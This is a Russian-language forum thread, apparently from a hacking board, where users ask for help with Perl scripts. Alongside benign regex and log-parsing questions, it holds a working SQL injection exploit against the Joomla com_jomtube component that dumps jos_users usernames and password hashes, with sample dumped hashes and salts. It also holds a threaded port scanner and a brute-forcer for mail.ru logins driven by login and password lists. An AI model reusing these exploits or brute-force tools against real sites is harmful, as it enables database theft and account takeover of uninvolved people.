как прочитать допустим все символы со страницы читает хэш: if ($answer =~/([0-9a-fA-F]{32})/) print "\n[+] Admin Hash : $1\n\n"; а мне нужно чтоб все символы с веб-страницы?? посоветуйте пожалуйста=)
Подскажите пожалуйста, как реализовать простой рендомизатор? т.е. в файле имеем что-то типо "Привет, я {сообщение|письмо|пост}" Нужно прочесть файл и получить "Привет, я сообщение" "Привет, я письмо" и т.д. Интересует теория рендомизации строк. Как лучше распарсить и получить одно из {1|2|3} ? UPD Получается что-то вроде этого: Code: sub random_text{ my $text = $_[0]; $text =~ /\{(.+?)\}/igm; my @rand_string = split(/\|/, $1); #print "Random: ".$rand_string[rand scalar @rand_string]."\n"; return $rand_string[rand scalar @rand_string]; } Как теперь сделать replace того, что получилось в строке, с учетом того, что может быть несколько рендомов в одной строке. Как их не перепутать? UPD2: Получилось вот так: Code: sub random_text{ my $text = $_[0]; while($text =~ /\{(.+?)\}/){ my @rand_string = split(/\|/, $1); my $repl_string = $rand_string[rand scalar @rand_string]; $text =~ s/\{(.+?)\}/$repl_string/; } return $text; } Насколько "хороший" код? Может есть реализации получше?
Имеем: кучу файлов вида *.log Надо: Парсить из файлов даты которых не старше чем 1 день от текущей (Н-р: сегодня 13.07.2010 то парсим с 12 по 13 число) парсим на предмет нахождения строки и потом уже из нее выдираем ип. Если у нас попадаются одинаковые выбранные ип более 3 раз то делаем определенное действие. смог реализовать только с парсингом 1 файла: PHP: open(InFile, "test.log") || die; while ($line = <InFile>) { if($line =~ m/Bad Rcon/i){ @nonlap = $line =~ /(\d+\.\d+\.\d+\.\d+)\:/; foreach $element (@nonlap) { $hash{$element}++; } foreach $element (sort keys(%hash)) { if($hash{$element}==3){ print "Ban IP: $element\n"; } } } } close ( InFile ); Как реализовать задуманное?
Примерно так, если я правильно тебя понял: Code: use warnings; my $dir = './dir/'; my $ext = '.log'; my @files = grep(-M $_ <= 1, glob "$dir*$ext"); my %to_ban = (); for my $log_file(@files) { open FILE, '<', $log_file or die $!; while(<FILE>) { $to_ban{$1}++ if /Bad Rcon/i && /(\d+\.\d+\.\d+\.\d+):/; } close FILE; } my @to_ban = grep {$to_ban{$_} >= 3} keys %to_ban; функция_блокировки($_) for @to_ban;
Вроде вот модуль, который тебе нужен, сразу с примером исп-ия: Code: http://search.cpan.org/~gosha/LWP-Protocol-https-SocksChain-1.8/SocksChain.pm А чтобы заюзать просто HTTPS без соксов надо установить модуль IO::Socket::SSL и всё
извиняюсь, поправил... поидее надо авторизацию поправить + хеши поменялись ... + по мелочи) Траффа в группах немеренно =)) $$$ Мб легче новый написать чем этот исправить?
Люди помогите с регулярками вобщем имеем скрипт такого вида Code: #!/usr/bin/perl use LWP::Simple; $domian = shift; $lim=0; $url = "http://www.$domian/index.php?view=videos&type=member&user_id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,group_concat%280x7B6C616D65727D,username,0x7c7c7c,password,0x7B6C616D65727D%29,14,15,16,17,18,19,20,21,22,23,24,25,26,27+from+jos_users--&option=com_jomtube"; $content = get("$url"); if($content =~ m/{lamer}(.*){lamer}/g) { open(F,'>>{| Joomla |} {| index.php [2] |}.txt'); print F "$1\n"; close(F); print "$1\n"; $lim++; open(F,'>lim.txt'); print F "$lim"; close(F); } else { print 'Total dumped ' . $lim . "\n"; exit; } но вся проблемма в том што когда получам HTML'ку то срипт там видит строку Code: Added: {lamer}admin|||de36d46acab28f07032aaf68189e463b:RVNitTgV1DEGUKmPPu3im4svD4Ev11fm{lamer},{lamer}Mariana|||da521b9c502b4fd6d6d9767990520399:uHtxRv0reZaz7Kb0IALNJYks1cTWTrTs{lamer},{lamer}euge|||c90156bbfc1d8658de882dd578d68bd1:1hg9BYjr3yQ6QPH1R6wHVb2BmJyyiwss{lamer},{lamer}editora|||5893186c79beafc98030333eae4e03d7:Bbm8OzC92XpXhoDNJp1e6GeKw2ssu8Ee{lamer} то парсит всё сразу в виде Code: admin|||de36d46acab28f07032aaf68189e463b:RVNitTgV1DEGUKmPPu3im4svD4Ev11fm{lamer},{lamer}Mariana|||da521b9c502b4fd6d6d9767990520399:uHtxRv0reZaz7Kb0IALNJYks1cTWTrTs{lamer},{lamer}euge|||c90156bbfc1d8658de882dd578d68bd1:1hg9BYjr3yQ6QPH1R6wHVb2BmJyyiwss{lamer},{lamer}editora|||5893186c79beafc98030333eae4e03d7:Bbm8OzC92XpXhoDNJp1e6GeKw2ssu8Ee Каза заставить его парсить всё по очереди штоб результат был такой Code: admin|||de36d46acab28f07032aaf68189e463b:RVNitTgV1DEGUKmPPu3im4svD4Ev11fm Mariana|||da521b9c502b4fd6d6d9767990520399:uHtxRv0reZaz7Kb0IALNJYks1cTWTrTs euge|||c90156bbfc1d8658de882dd578d68bd1:1hg9BYjr3yQ6QPH1R6wHVb2BmJyyiwss editora|||5893186c79beafc98030333eae4e03d7:Bbm8OzC92XpXhoDNJp1e6GeKw2ssu8Ee
Люди кто можэт зделайте этот скрипт много поточным (с возможностью регуляцыи количества потоков) ато некак не вкурю как с потоками работать Code: #!/usr/bin/perl use IO::Socket; open(BASE, 'ip.ip'); chomp(@ips = <BASE>); close(BASE); print " Please print protocol and press Enter : ";$protocol = <>;chomp($protocol); print "\n Please print port and press Enter : ";$port = <>;chomp($port); foreach $x (@ips) { print("$ip_addr ... \n"); $socket = IO::Socket::INET->new(Proto => $protocol, PeerPort => $port, PeerAddr => $x); if($socket) { print $x."|".$protocol."|".$port." <== IS OPEN\n"; open (RES, '>> results.txt'); print RES $x."|".$protocol."|".$port."\n"; close (RES); } else { print $x."|".$protocol."|".$port." <== IS CLOOSE\n"; } } и ещо хотелось бы узнать как можно принять скриптом 2 параметра если один можно поймать используя shift то как поймать второй вобще хз
Code: #!/usr/bin/perl #perl script.pl [кол-во потоков] use threads; use threads::shared; #... my @thr, my @base : shared; push @base, $_ while(<BASE>); #... for(1..$ARGV[0]) { push @thr, threads->create(\&check); } for(@thr) { $_->join; } sub check{ while(@base){ print shift @base; #... } } >> и ещо хотелось бы узнать как можно принять скриптом 2 параметра если один можно поймать используя shift то как поймать второй вобще хз Code: #!/usr/bin/perl print $ARGV[0].' '.$ARGV[1].' '.$ARGV[2]."\n"; my $v1 = shift; my $v2 = shift; my $v3 = shift; print $v1.' '.$v2.' '.$v3;
Люди скажыте почему скрипт не работает всё вроде правильно написано Code: #!/usr/bin/perl # <DOMIAN><LOGINLIST><PASLIST><BAD><GOOD> use LWP::Simple; $domian=$ARGV[0]; $loginf=$ARGV[1]; $passf=$ARGV[2]; $bad=$ARGV[3]; $good=$ARGV[4]; open(BASE, $loginf); chomp(@login = <BASE>); close(BASE); open(BASE, $passf); chomp(@passl = <BASE>); close(BASE); foreach $login (@login) { foreach $paswd (@pass) { threads->create(\&brut,$login.$paswd)->detach; sub brut { $page = get('http://win.mail.ru/cgi-bin/auth?Login='.$login.'&Domain='.$domian.'&Password='.$paswd); if($page =~ m/Входящие<\/b><\/a>/g) { print "GOOD => $login | $paswd | $domian"; open(F, "$good.txt"); print F "$login | $paswd | $domian"; close(F); } else { print "BAD => $login | $paswd | $domian"; open(F, "$bad.txt"); print F "$login | $paswd | $domian"; close(F); } } } }